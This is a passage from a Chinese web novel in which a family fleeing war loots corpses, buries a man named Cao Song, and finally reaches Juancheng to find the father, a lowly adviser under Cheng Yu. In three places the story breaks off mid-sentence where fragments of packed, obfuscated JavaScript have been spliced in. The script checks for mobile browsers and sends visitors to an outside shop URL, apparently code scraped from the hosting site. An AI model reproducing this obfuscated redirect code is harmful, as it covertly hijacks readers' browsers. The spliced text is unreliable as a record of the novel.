《主公我为你生了个小谋士》 1. 扒尸 秋风萧瑟,黄沙漫天。 一辆破旧的老驴车缓缓向前行驶,车轱辘压在黄土路上凸凹不平的泥坑上、石头子儿上、枯草枝上,发出不绝的嘎吱嘎吱声。 车子上坐着四人,前头驱车的是一名身材高大健壮的青年小伙儿,青年虽身材健硕且肤色微黑,却长了一张如玉面书生一般精致俊俏的脸,五官秀美,然神态正直憨厚,掩盖了这份俊美。 他正迎着猛烈的风沙,拼命地驱赶着老驴。 后边的露天车板子上坐着三人,相互偎依在一起,远看着都几乎缩成了一团,三人周身裹着一条破旧发黑的老被子。三人躲在破被子里边,只露出半个后脑勺,看不清长相,一阵风沙袭来,一颗最小的毛绒绒脑袋缩了进去,这下好了,只瞧见两颗脑袋。 “藐儿,不怕,阿娘在呢。” 苍老嘶哑的声音传出,声音着实算不上好听,让人听着都皱眉头,却含了独有的温暖与爱护,一道稚声稚气软乎清甜的声音一板一眼地回:“阿娘不担心,藐儿不怕。” 这时一道少年嗓音又传出:“阿娘偏心,那小病秧子胆子大着呢,就你把她当宝儿,当易碎的瓷娃娃,连昨儿个唯一半块白面馒头也进了她肚子,只因小病秧子吃了粗面饼子不消化会吐。” “都是人,咋就她不一样呢!” “阿娘有这功夫不如关心关心我吧,大哥生得强壮,小病秧子有你护着,就我弱小可怜且无助!” 破被子面积不大,少年半个后背都露在外头,不禁愤怒地扯了扯被子,盖住自己的半截身子,行动间一阵冷气窜进被子里头,最中间的幼童不禁狠狠地打了个喷嚏。 气得老妇眉头一跳,狠狠地将被子又扯了回来,还伸出大掌狠拍在少年后背上。“这趟出逃是藐儿使的主意,我们一家才能从那些豺狼虎豹狗官悍匪中逃出来,这一路赶车出力的是你大兄,维持生计是你老娘我,你干啥了?要老娘说,全家就你是累赘,就你最没用了,还好意思说?趁早给老娘滚蛋,跟你那没用的爹一个德性!” 这下少年不仅半个身子露在外头了,连整个人都暴露在寒风中,他在猛烈萧瑟的大风中凌乱,看着前面穿着全家最后的一件厚外套赶车的青年哭诉道:“大兄!你看看阿娘!你说我是亲生的吗?!” 青年有个和身材相符和颜值不符的名字,他叫金大壮,朝他哭诉的少年叫金二壮,是他弟弟。他转头看了眼,笑了笑说:“赶紧钻回去吧,一会儿冻着了,兄长没银钱给你看病,又没工夫给你耽搁,少不得给你落下,让你自生自灭。” 金二壮:“得,您也是亲的……” 少年仰头望天,“苍天啊大地,难道天大地大就没有我金二壮容身之地?这个世界根本就没有真心关爱疼惜我的人,就我这样的可怜虫死了也不足惜!”他悲壮地站了起来,迎着寒风,跳下了车。 青年赶紧扯住了驾车的绳子,老驴一声急鸣,车子忽而停下,车上的人摔成一团,老妇怒而呵斥:“大儿!你做什么?!” 金大壮赶紧说:“阿娘,阿弟跳车了。” 这时少年一声尖锐的惊叫声响彻了天地,也惊跑了野外一群秃鹫野鹰。 老妇本想说,你还不了解你弟弟啊,就那厮,就算跳车也是骗同情的,只管往前走,保准一会儿又一把鼻涕一把泪生龙活虎追来。 然而就在这时,少年的一声惊天地泣鬼神的惊叫,让母子两人皆心生惊讶和担忧。 驴车这时离着少年跳车之地不足十个车身距离,近得很,往后一瞧,只见少年忽然一倒,像是被吓晕过去了,过了一息又如诈尸般,猛然窜起来。 “我滴娘啊!艹艹艹艹,老子不是故意跳你们身上的……啊啊啊!” 一阵稀里糊涂语无伦次的惊叫后,少年以迅猛之速跑回来,惊慌指着那处:“阿娘,大哥,那里有死人!” “好多好多人,都死了,都死了!” 那边是一个地势略低的小盆坑,被半人高的野草盖住了,因此乍看第一眼没发现什么异常,多看几眼才发现里面隐隐有什么东西。 金大壮和阿娘对视一眼,走过去一看,才发现浅盆坑里摞满了尸体,这还不是一个小坑,是黄土大道旁一个极大的凹陷处,后边有一个很大的土坡,正是土坡下才有的这天然大坑。 金大壮粗略看了几眼,这里堆叠的尸首少说有上百具,各个身上都有刀剑之伤,鲜血淋漓,惨不忍睹,想来是死前经历了残忍地屠杀。 一阵大风袭来,半人高的野草迎风摇曳,似是悲泣哭嚎,大片乌云遮住了满天金黄落日,天色在一瞬暗了下来。 路过时不觉有异,这时才发觉鼻尖弥漫着浓烈的血腥味。金大壮心生不详惶然之感,只想快点离开此处,他的腿和他的手都在轻微颤抖发软,差点没站稳。但他得站稳了,因为他还要带着阿娘弟弟妹妹平安走到兖州,找到他们爹! “阿娘我们掉头走吧,这里不太平,万一那些杀人的都回来了就麻烦了。” 能一下杀死上百人的,定是人数不下于千人的队伍,这些人不是超级大土匪的势力就是乱军,寻常人哪能一下杀死这么多人。 在如今的世道,出门在外若是碰见土匪乱军,祖坟冒青烟了顶顶好运可能会被无视捡回一条小命,否则轻则被抓去充军做杂役、当人肉冲锋军,重则当场就会被杀拿来充当军功人头,哪有什么好下场。 他担心那群人没走远或在附近,这样一来,他们就危险了,毕竟阿娘和幼妹都毫无战斗之力,弟弟也才十来岁出头,他怎能护得住他们。 老妇这时微微扯开裹着脑袋的粗布头巾,深呼吸一口气,她生了一张国字脸,竟是浓眉大眼的,好似一个男人相貌,只是满面风霜,身材瘦小干瘪,苍老的手紧紧地抱着幼童。 幼童身上有一张厚实的小被子单独裹在她身上。 老妇问询了大儿子情况,沉吟了下,将裹着被子的幼童递给金大壮,“照看好你妹妹,我去看下。” 说着就小跑了过去。 金大壮金二壮都闹不明白他们娘准备干什么,往死人堆里跑去干嘛?这时不该离得越远越好? “阿娘是不是有些不对劲儿?”金二壮不确定地说,他好似在一瞬间看到了阿娘的眼神在放光?似乎还有些兴奋和急促? 金大壮看着前方:“别胡说。”虽然他也看不懂阿娘准备干什么。 幼童从被子里冒出一颗小脑袋,稚声稚气地说:“阿娘饿了,正所谓饥不择食,阿兄,阿娘准备吃尸体了。” 金大壮低头看着怀里的妹妹,妹妹白净到几乎病态苍白的小脸蛋,与他如出一辙的精致五官,眉间还有点红色印记,比之传说中的年画娃娃也不为过。她干净的眼神,平静的小脸。 她是怎么说出这一番话的? 少年也凑了过来,忍不住伸出手掐了掐妹妹的脸。“小病秧子说得对,这一路我们都饿了多少顿了啊,阿娘为了我们都舍不得吃,一块饼子要分好几顿,阿娘这么饿着,也难免……唉。这也不怨阿娘,都怪这世道害人!” 少年英勇地说:“吃人就吃人吧,这份罪恶我替阿娘担了!” 眼看着幼小的弟弟妹妹要越说越离谱了,眼看着阿娘已经冲到尸堆上,甚至趴在上面不知道在干什么,青年稳了稳心神,呵斥道:“胡说八道!” “爹曾说过,君子有所为有所不为,尸体生前为人,人则同类,为人者怎可食同类血肉?” 少年反驳:“那傻爹有没有说过,唯女子与小人难养也?这是说,阿娘是女人,想干什么都行!” “唉,我也想当女人啊!” 金大壮:“……”明明知道阿弟在胡说八道,明明知道阿娘不可能吃人的,可是他该怎么反驳! 萧瑟的寒风中,幼童平静地说道:“阿娘是准备看看那些死人身上有什么可用之物,好拿去卖,我们不是盘缠都花光了吗?大兄,你放藐儿下来,你去帮帮阿娘。”幼童说着,手伸向少年,“你来抱我。” 果然,这时他们看到瘦小的老妇不断地在扒尸体,在一具一具尸体来回奔波,脸上挂着兴奋渴望的笑容。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066791|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “老天有眼啊,这些人都刚死!刚死没多久,有些尸体还热乎着呢!” 金大壮这才恍然大悟,刚死的人,没有被人扒过,尸体也还不脏不臭的,能从他们尸体上找些可用之物。 在当今这个世道,扒尸是很常见的一种行为,有些人甚至埋尸体的时候都不敢明目张胆竖碑,怕被人扒了,轻则陪葬之物被偷,重则尸体被抬去煮了,不过前者平民百姓的也没陪葬之物,贵族则有专门看守陵墓的人,主要还是防着后者,当然食尸这个现象也是不多见的,如这样扒尸捡些值钱玩意儿的是大多数。 这种路边的尸体,尤其是刚死没多久的,油水最肥。 他把妹妹塞进二弟怀里,扯了一块布,赶紧跑去帮他娘,就算这是个好办法,但眼下此地也不是久留之地,得尽快离开。 少年僵硬地抱着妹妹,像抱着一块炸弹,他想把小病秧子放下,却被命令:“转身。” “转、转什么身?” “给我挡风。”少年看着妹妹,可爱漂亮的脸蛋,平静软糯的嗓音,她是怎么说出这么寒冷的话。 幼童咳了两声,苍白的脸更苍白,“二兄乖,要听话,不得哭,我们身上已经没有银子了,若我病了,没有银钱看大夫吃药,阿娘大兄定要为我奔波难过,二兄也没有饭吃,说不定还要为了我把二兄卖给人牙子,二兄长得这样俊俏……” 少年瞬间就转过身,将幼童牢牢裹在怀中,瘦弱的身躯挡住了从西北方向吹来的寒风。 他脸色如同这秋日寒风一样萧瑟肃杀。迟早有一天,他要把这小病秧子偷偷沉河里喂鱼去! 大约一炷香多点的时间,老妇和青年就完事回来了。老妇怀里捧着一大堆衣物,全是些绫罗绸缎的好料子,里头夹着昂贵丝绵的外袍,甚至有两件皮毛大衣。老妇有些不甚满足地说:“底下还藏着好些尸首没翻呢,你大哥说来不及了,只好如此了,好在这些人似乎是贵人,瞧他们身上穿的衣服,这样厚实软和,摸起来比我手还细软呢。养一身细皮嫩肉的,真是好福气。” 不过再好的福气,如今也成了黄土一捧,死了都叫人扒尸。老妇叹了口气,也不太兴奋了。贵人尚且如此,他们这样的低贱百姓,也不知道能活到什么时候,不知道能不能顺利带着孩儿们找到他们爹。 金大壮更是找到了两把刀一把剑,正爱不释手地抚摸。 “有了这刀剑,大哥就可以保护你们了!” 这些被杀死的人很可能是贵族,普通百姓是不可能有这种衣物的,附近有许多车轱辘重压过的痕迹,现场却只有尸体没有任何车马,说明被劫掠的财物辎重数量众多,而且被整车整车拉走了。 只是不知道是土匪还是军队所为。 金藐已经不自觉地开始分析起来,这些尸体中,身着绫罗绸缎者仅有十几人,着次等锦衣者几十,这些应当都是贵族中人,其余尸身粗布短卦上百,这些人身上的伤痕更多,应当经过激烈打斗,该是护卫,另外一些身着统一颜色制式布衣的应是仆从。 然而,贵族出行怎么可能带区区百人护卫,按照现场辎重痕迹看,至少有上百辆的车马,至少匹配几百个护卫才敢带这么多东西出行。 这时老妇翻出一件皮毛大衣,“这件料子最是厚实,可暖和了,给藐儿用。” 老妇可不怕什么死人身上的衣服,也不觉得晦气,只要是好料子她就觉得是好东西,什么世道啊,有得穿就不错了,还穷讲究呢! 金大壮说:“不妥,这些东西到了城里都拿去卖了,否则露在外面被看到也会被抢走,惹来不必要麻烦。” 金藐点点头,大哥说得对。 她忽而神色一凝,看到那大衣的里衬上绣着两个字:“曹嵩。” 金藐一时觉得这名字有些眼熟,像是在哪里听过,可又想不起来。 金大壮也翻看着自己手上的刀剑,惊奇道:“这刀柄剑柄上怎么都刻着曹字?” 金藐忽然想起来!历史上东汉末年三国大名鼎鼎的曹操曹老板的父亲不就叫曹嵩吗?! 2. 到达 老驴车继续行驶在黄土路上。 一行四人没有人开口说话,静默地坐着,只余寒风呼啸,野草摇曳,飒飒作响。身后离得越来越远的小山坡上的一棵大树下,拱起一个不太明显的小包。 那是一座坟。 墓前没有立碑,大树的树干上却刻着曹嵩二字。 金大壮心情复杂而沉重,心里憋了一堆的疑问,想了许久还是忍不住问:“妹妹为何如此做?” 金藐窝在阿娘温暖质朴的怀里,在外风餐露宿的,阿娘身上说不上好闻,可却温暖得让金藐眷念,她往阿娘怀里又缩了缩,带着倦意的嗓音轻声说:“就当是做件善事吧,报答赠物之情。我们不问自取拿了人家的东西,虽因为尸体太多,我们力薄不及全部埋葬,但这位老者一看便是领头人,好生埋了他,不至当个孤魂野鬼,也算是报答了。” “至于名字是他衣服上绣的,想来不会出错。” 金藐当然猜测过这位曹嵩是不是三国历史上曹操之父那个曹嵩,她记得曹嵩死于徐州之战之前,正因为曹嵩死了,曹操才愤怒带兵讨伐徐州,之后又引来兖州危局。而杀死曹嵩及其族人的正是护送他们的人,这样一来就可以解释为何曹嵩这样的人物会轻易死于野外了,也能解释为何现场护卫尸身的数量明显匹配不足。不过也可能是个同名同姓的巧合。 不管是不是巧合,都和顺手将其埋了不冲突。 和来时不同,渐渐地,弥漫了一日的大风竟缓缓平息,乌云消散,西边方向的天空乍现大片赤金色,如烈火焚天,刹那间天便明亮了起来,视野也清晰起来。 而老驴车一路向东北,赤金色的天空于他们身后骤然绽放。 天黑前,老驴车到达一处城池,金大壮跑遍了全城才找到唯一一家愿意收物的当铺。这家当铺黑得很,两把上好的刀剑,两件皮裘大衣,数件绫罗绸缎的衣裳,还有数件夹丝绵的厚实长袍,才回给不到两匹绢布,可这家当铺仗着是城中唯一的当铺,将价格压低不说,还趾高气昂,一副你不卖就滚,反正我就出这个价的姿态。 金大壮咬咬牙出了。 这年头,五铢钱已经不好使了,拿去很多地方都买不到粮,但绢布算是比较硬且价值高的通货,各大商铺都收。一匹就足够他们花用许久,金大娘眼疾手快往自己怀里抱住,另外半匹叫儿子拿去采购物资。 民间是买不到地图的,他们也不知道下一站要多远,只能问当地的人往这个方向最近的城池多远,以此来估算距离,所需的物资等等。 这趟出来已经两三月有余,仍还没到达那个叫做兖州的地方。一年前,孩儿他爹曾来了封书信,说他如今在一个叫兖州的地方,有一份差事,等他攒够了家当,就托人带回家中。只可惜到如今一年半过去了,连根毛儿也没见,书信更是许久未曾再回一封,他们只能凭借书信留下的地址去寻人。 东西买得差不多,在城里的客栈住上一宿,好生洗个澡吃顿热饭,再好生睡上一觉,这就是这一路来最好的享受了。 金大娘想着小闺女给那老汉挖坟埋了的事,顿时明悟闺女的道理。要是没有他们那帮死人,哪有客栈住哪有热饭吃,这下出行的盘缠又有了,实在是大好人大好事啊!是大恩就得报! 金藐今年三岁有余,过了明年春才到四岁,她不足月而生,先天不足,身子自小比同龄孩子小上一圈,体质差,容易生病,气力不足,稍一折腾便困累乏力,因此早在吃过饭时就昏昏地睡过去了,身子是阿娘用布沾了热水擦干净的,穿上干净的里衣,裹进被子里,再被阿娘抱怀里沉沉地睡过去。 另外兄弟俩在边上打地铺睡,就算手头宽裕些,金大娘也是不许他们挥霍的,出门在外住一间还安全。 第二天一早,乐极生悲的事儿来了。金藐生病发烧了! 金大娘的天塌了! 怀里抱着热乎乎的一团,都不敢抱出门,用被子紧紧地裹住,吩咐大儿子去请大夫,吩咐二儿子去找小二要热水,金大娘急得汗都要掉下来了。 她反复地念叨:“扒尸是我的错,不是藐儿的错,藐儿心善,给您立了坟,若有冤找那些杀死你们的人,若有气只管找老身,我的小藐儿是无辜的,可怜她自小没见过一面她那没良心的爹,多少次从鬼门关里爬回来,能养大到现在不容易,别收了她,要报找我老身来……” 大夫很快来了,诊断风寒入体,摇着头说这般大身子又先天不足,喝了药能不能熬过来全看天意。 金大娘泪着眼睛瞪二儿子:“昨天是不是你让藐儿吹风了?” 少年看看屋顶看看地板,手指抓着身上破旧的衣裳边角,心虚不安。他昨儿是让小妹吹风了,可是也只吹了一瞬间,他很快在她的淫威下…… 可他昨天还在愤怒咒过小病秧子。 少年梗着脖子,“是她身子太弱了!这一路上走来,要不是因她几次三番生病,我们卖掉所有家业田产的盘缠怎么会这么快用光!都怪她!” 金大壮在弟弟脑袋上拍了下,“都是一家人,你怎么可以这么说话?平时打打闹闹就算了,现在不可再说这种话,让妹妹听了岂不伤心。” 小病秧子才不会伤心呢,金二壮心里嘀咕。他有时都怀疑小病秧子根本没有心!她简直是个小怪物! 一只飞鞋丢过来,准确地打在少年脸上,金大娘抱着闺女坐在床上,就算不便跑过来揍他一顿,飞鞋之法也是使惯了,百发百中。 “再说这种话,你就留在这里!” 金藐这趟生病又一次有惊无险地熬过来了,等好起来已经是数天后的事情,为了给她抓药看大夫,金大娘藏起来那匹绢布已经割去半匹,金大壮那半匹供完吃住和购买物资,正好只剩半匹。 金大壮寻人打听了,这是一个叫做戈阳郡的地方,属于豫州。豫州和兖州相邻,再往北走,就能到达兖州。由于问到的人都没去过兖州,金大壮也不知道从这里到兖州要多久时间,只知道还要经过好几个城池,下一站汝南郡。 老驴车载着一家四口从客栈离去,身后尾随着行色可疑的一帮人,到城外后,看着围成一圈的十几个人,金大壮摸摸自己留下的一把藏在稻草里的刀,评估了下自己和对方十几个人的武力值差距,又看了眼闭着眼睛的妹妹,老老实实将车上半匹布交了出去。金大娘死扯着不放,金大壮红着眼睛:“阿娘,留得青山在不怕没柴烧,劫匪这么多人我们斗不过的。” 为首的劫匪不满,“你们不是卖了一匹半?” 金大壮心里大恨!那个黑心的当铺不但压低价格,还伙同劫匪抢劫,连他们卖了多少都知道,这几天肯定都盯着他们呢。 “我幼妹身子弱,生病了,这几天看病抓药花了不少,不信你们可以找城里春草堂药馆的王大夫问话!” 劫匪早就盯了几天,也大概知道这几个人的行踪,没多计较就说:“那把你们其他东西都交出来!” 最后,车上采购的所有物资都被抢走了,尤其是御寒用的厚被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不知道过了多久,乞丐的日子是没有数的,反正像是过了几个月,也像是一眨眼,更像是过了半辈子,感觉一路来人意识有些不清晰了,浑浑噩噩的,每天只知道看着太阳的方向赶路,乞讨些东西吃,有力气了便继续赶路,没力气就暂时歇着。寒冬时候,没法赶路,无处可去,绝望之际在路上小村口碰见一孩童吃东西噎着了险些窒息,金藐教大兄用海姆立克法救了这孩童,之后便在这孩童家里住下了,险险挨过这个冬天。 金藐终于领悟,乱世时代人在外头低调是最好的防护,越是凄惨越安全,因此她一路秉着无为就是福的策略,只想办法让自家一路平顺地往北走便好。 磕磕绊绊的,遇过土匪也遇过乱军,难民打了不少交道,几次死里逃生,其中艰辛不足外道,一家四口在来年春终于有惊无险地到达了兖州。 鄄城,如今兖州的主城。 这是一座面积不大但热闹安全稳定的城池,城墙上插着曹字旗迎风而立,城门口站着训练有素的守卫军。 这里的百姓也比金藐一路走来见过百姓精神风貌要好上不少,至少还能见到好些脸上挂肉满脸笑容的百姓,不至都面黄肌瘦。面黄肌瘦当然不少,只是没有那种走投无路的绝望贫瘠之感,那才是真正无家可归无路可走无粮可食的真难民。 说的就是金姓这四人。 不过说他们贫是真的,来这一趟也确实没退路,但他们身上可没什么绝望感! 鄄城城门口,在一群穿着粗糙朴素但整洁的百姓中,一个瘦小老妇、一个高大青年、一个瘦弱少年、一个病态孩童的乞丐四人组,格外扎眼。 四人一同仰望着高大的城墙,满脸的兴奋和惊奇,有一种翻山越岭终于到达终点的解脱感。老妇一屁股坐地上了,指着城墙。 “大壮你识字,瞅瞅上面俩字是不是鄄城?” “是,阿娘,我们到了!” 3. 找爹 鄄城还算繁华安定,自打曹操占领了兖州后,曹家军就认真治理这带,尤其作为主城的鄄城,上位者管理有章法,百姓生活有了秩序,就有了生产力,于是治安军事都算安定。 正值正午时分,城中人来人往,热闹得很,三月末虽还有些料峭的春寒,却比早春要暖得多。 城中心暂时作为州府衙门办公的地方,整个兖州的军事政治命令都是从此处发出。中午饭点,府衙门大开,陆续有不少人从里头走出来,这些人中有年轻人、中年人、老年人,无一例外都是些看上去有学识的读书人,这些都是在此处工作上班的人。 每一个从这个大门出来的人都会得到路过百姓羡慕仰望的目光。 读书人啊,为曹公那等大人物办事的人啊! “听说曹公手底下的都是才华横溢之辈,没有一个孬的,全是鼎鼎大名的大人物!” “人家那脑子不知道怎么长的,可厉害着呢,听说动动嘴皮子就能千里之外取敌人首级!” “我们鄄城如今这般安定,都仰赖这些大才能者的庇护!” 从这里走来的人听到这些话,哪怕不是第一次听了,日日都能听到不重样的崇拜敬仰夸赞之语,却也不免暗自得意,昂首挺胸。 此时,走出的一群四五个人里。有个叫金铁锤……不,如今早已改名叫金无涯的中年男人,下了值和同僚一起走。往常他都是一个人默默缩在最后头的,今次被几个人围在中间,看似众星拱月,实则…… “这个月的考核后日就要出结果了,子归可会紧张?” 金无涯,字子归,文绉绉的名儿,似乎颇有寓意的字,他还长着一张极其俊俏的脸,肤色也颇为白皙,瞧着很有文人风范,只是过于瘦弱,宽大的衣袍让他看起来有几分仙风道骨之色,笑起来眼纹隆起,很有温润之感。 出言的同僚瞧着他那张脸,冷哼一声,都有些不好意思继续说了,于是侧头不看他。 金无涯双手拢着袖子,只觉一阵寒风袭来更冷了,不禁拢得更紧了。他神情也有些紧张,染上愁绪。 “你们就别为难子归了,平常他总是吊车尾,若不是主公心善,看他可怜哪会容许他还留在这里。” “主公何等雄主,怎会记得他这等小人物。” “要不是谋主大人心善宽和,岂会容他一而再再而三吊车尾无所作为,只会吃白饭。这次荀公外出巡视,眼下鄄城程公主事,这位爷可是出了名的刚正强硬,眼里容不得沙子,这次考核也是他老人家主持的,只怕再过两日我等都看不见子归了。” 金无涯脸色一瞬僵硬,心里凉飕飕的,他知道他们虽然故意在他面前冷嘲热讽拿他开涮取乐,但他们说得没错。他本就兢兢业业如履薄冰,想尽了一切办法,才能撑着这份差事。可他这么久以来,不仅毫无建树,也毫无作为,甚至犯过多次错误,能留到现在已经是奇迹。 荀彧大人心胸宽广,为人宽厚温和,他才能在一次次吊车尾中苟活。可程昱大人已经看他不顺眼很久了,那位主儿可不是荀公这等人物可比的,他强硬着呢,他刻薄着呢,他看不顺眼无所作为的废物们已经很久了,巴不得把所有吃主公白饭的废物们统统扫地出门,只留下有用的。 金无涯的心完全垮了下来,却强撑着笑脸说道:“诸位都是我的好友好同事,我知过去我能留下有赖诸位帮助,金某感激不尽,这回还望诸位再出出力帮帮某。” “荀公不知何时才能回来,诸位既知程公刚正不阿,手段强硬,应知他早已视我等末流如臭鱼烂虾,恨不得早日扫地出门,若是此次他趁着荀公不在,清理门户……这次是我,下次便会是你是他,再下下次又会是谁呢?” 其他几人:“……”也是啊。 往常他们都会帮金无涯说话,想让他留着继续吊车尾,这样出了差错总有他顶锅,上头大谋士们想起底下最差的小角色,也有金无涯顶着。主公要杀鸡儆猴,也是金无涯顶着。 他要是真被弄走了,以后谁来顶锅,谁来当吊车尾?谁来当儆猴的鸡? 这下换他们愁了。 金无涯说完,揣着袖子大步流星地往外走。把烦恼甩给别人,自己感觉就轻松多了。 今日他不知为何眼皮子直跳,从早上起床不安到现在,总觉得有什么事要发生。 想来想去也只能是考核的事吧。 曹公治下严明,其帐下的谋士团也有着严格的管理办法,其中每月一次的考核就是谋士们必须要过的一关,那些深受宠信频有建功的大谋士们自然不愁,可底层的谋士们却都对每月一回的考核畏之如虎。 这个考核轻则扣月奉,重则开除,回家吃个儿。 在如今这个世道里,有名望的人才们是不缺差事去处的,没名望又没才能只靠苟混日子的人,诸如金无涯,那是万不能没了这份差事的,若是没了,他可不知道他要怎么在这乱世里苟活下去。 这回真躲不过去了…… 金无涯背着手,背似乎都佝偻了一瞬,暗自叹了声。 荀彧出身世家大族,身上自有世家风范,君子古风,待人处事温和宽厚,可程昱这厮不太一样,他是真的会把他们……尤其是他这样毫无建树吃干饭扫地出门的…… 说不得这次就是他故意使开荀公,背地里偷偷清理门户,反正主公不在,荀公也不在,这里还不是他说了算! 有好几回他撞见程昱跟荀公争执,说留着他们无用。 荀彧却说水至清则无鱼,鱼苗再小他日亦有其意想不到之用处,不过多养几人,又何妨? 程昱可不这样认为。他认为垃圾幕僚没资格在主公帐下吃白食。 金无涯揣着袖子,走在大街上,愁眉苦脸地进了一家面馆,点了碗鸡汤面吃,仅有鸡汤没有肉,面上卧了个鸡蛋和几颗青菜葱花,胜在分量大,热乎乎的汤面,吃下一碗,整个人也暖和起来。 这会儿是正午,吃完午饭一会儿还得回衙门上班,若是到了晚上,金无涯还会打二两酒,买两块饼子,回家吃。 这日子已经过得比寻常百姓好了,应是胃里暖了,幸福感上涌,金无涯满足地叹口气,主公势力日益强盛,苟在治安最好的主城区做事,没有危险,有饱饭吃,他该知足的! 说到寻常百姓。 金无涯想起了他那远在乡下老家的老妻,还有老妻给他生的三个孩子。前头两个生的时候,大儿生的时候他尚在家中,且亲自教他认字读书,二儿子生时他也会去看了几眼,陪着好些日子。只最小的那个没见过,只在书信上听说老妻生了个女娃,今年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17066793|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该有三岁了?还是四岁? 不知长得如何,身体可康健,俊不俊?女孩若是长得像他则极好,若是像老妻……那可咋办。 思及此处,他又狠狠打了个喷嚏。 定是家中老妻幼子想他了,好长时间没寄家书回去了,过两日就写信寄回,老妻定会高兴。 城门口的乞丐老娘也打了个喷嚏,周围人群一蹦三尺高,通通远离这乞丐四人组。 这四人不知道打哪儿来,一身的臭味儿怪味儿酸味儿!瞧他们身上穿的衣服,那都不能算衣服了,简直是破布烂衫,也不知道有没有什么疾病,万一被传染了可不好! 有个好事者尖酸刻薄地喊道:“军爷,军爷,快来看看这里,这里有四个染病的臭乞丐,可不能让他们进城里,万一把病传染给别人怎么办?” 守门的士兵走了过来。 四人周围形成一片空地,排队进城的人纷纷围着看热闹。 金藐缩在大兄怀里,她的小脸蛋如今黑漆漆的,到处都污泥。 有心软的大婶看了,不免觉得可怜,这么小的娃。还从挎着的篮子里掏出一块热乎的饼子给她,“小娃子,饿不?吃口。” 金藐看了看阿娘,才接了过来,“谢谢大婶子。” 士兵问他们打哪儿来的? “如今鄄城人口饱和,上官不许进灾民,你们若是无路引许可又不是本地人,是不可进入其中的。” 金大娘此时已经一屁股坐在地上,开始拍地板,哭天喊娘。 “我们是来找我没良心的夫君的,他就在城里的,他来信说了他在兖州这个叫鄄城的地方……是吧,大壮,娘没记错?” “是鄄城没错,阿娘。” 老妇哭得更大声更凄惨更理直气壮了,“我夫君如今就在这城里谋了份差事,是在替大人物干活呢,他在这里落脚,干了这么久,咋就不算这里人?我们是他妻儿老小,是他最亲近的人,那我们也是这鄄城人!” 围观群众百姓们纷纷议论起来,看热闹的多,信的少。 “谁信啊!这乞丐浑身脏兮兮臭烘烘的,不知道多久没洗澡换衣裳了,她夫君若真的给大人物办事,岂会让妻儿当乞丐?肯定是瞎说的,想趁机混进城里!如今外面世道乱得很,如他们这般的乞丐难民多得很,就这点伎俩还想浑水摸鱼混进城里面?” 士兵瞪了一眼说话的人,这个人说话条理清晰,不似一般百姓,看着也可疑,遂问他是何人。 他骄傲地仰头说:“我可是读书人!我爹在曹公帐下当差儿,他叫白行之听过没?” 士兵没听过,曹公帐下做事的人太多了,有名有姓者不少,但没名没姓的更多,哪记得过来。 只是这人连名字都敢报出来,神色间的骄傲也不似作伪,应当不假。 自古以来大娘大婶们撒泼打滚的时候,那便是世界上最大的杀招。除非哪里有鸡蛋抢,否则再大的事儿都没法阻拦她们,士兵无奈地看向抱着幼童的落魄青年。 “你识字?你来说。你们来自哪里的,进城为何,找的是谁?” 金大壮一手抱着妹妹,一手拱了拱,“我们自家乡而来,来鄄城找我爹,我爹名叫金铁锤,他来的书信说他在兖州鄄城工作,对了,他住的地方叫程府。” 4. 无耻 午休没歇够,程昱便已坐在案前处理公事。 近来公事繁忙,主公出兵在外,荀彧外出巡视其他城池,而他负责坐镇鄄城中心处理政务。 如今月末,赶上考核。思及考核之事,程昱按了按太阳穴,如果他将末尾那几个吃干饭的废物全部扫地出门,不知荀彧回来是否会有意见? 但他不似荀彧温吞,更看不得这种蛀虫苟活在主公帐下。若主公要成事,这些吃白饭的废物就不能占着茅坑不拉屎,就得一一清扫出去,好把位置让给真正有才能之人! 也罢!就算荀彧真有意见,也不至于为了几个废物同他计较。 程昱看着案上的名单,只待后日……他嘴角扬起一抹快意的微笑。 就在这时,下属来报,说他府上的仆从来寻。仆从上来开口便说:“老爷,城外的官差传话,问咱府上有没有一个叫金铁锤的人。” 程昱皱眉,“当然是没有!这等小事你也来报?城外那些士兵又是干嘛的?” “老爷,士兵说中午城外来了老少小四个乞丐,这四个乞丐虽然形容佝偻狼狈不堪,但那个大的说话颇有条理,也识字读过书,说他们一家是来找爹的,他们爹名叫金铁锤,如今就在鄄城里工作,做的差事是啥不晓得,只说住的地方叫程府。士兵一听程府,这可不得了,这不是咱老爷的府邸吗?于是就派人来问话,看是不是放他们进来。” 鄄城本地姓程的可不多,再说寻常百姓也没个程府之说,最有名的就是程昱的府邸了。 程昱眉峰一厉,“是何人胆敢冒充我程府之人?” “叫士兵把他们抓起来关入大牢!” 仆从小心翼翼地提醒道:“您忘了,两年前,七爷来咱府上住的时候,曾带回过一个救命恩人,后来因七爷举荐,老爷您就把他安插在了曹公帐下,也就是如今在您手底下办事呢。” “此人叫金铁锤,如今去哪儿了,小人再没听过这名字,只是前些日子,好像街上看过这人。” 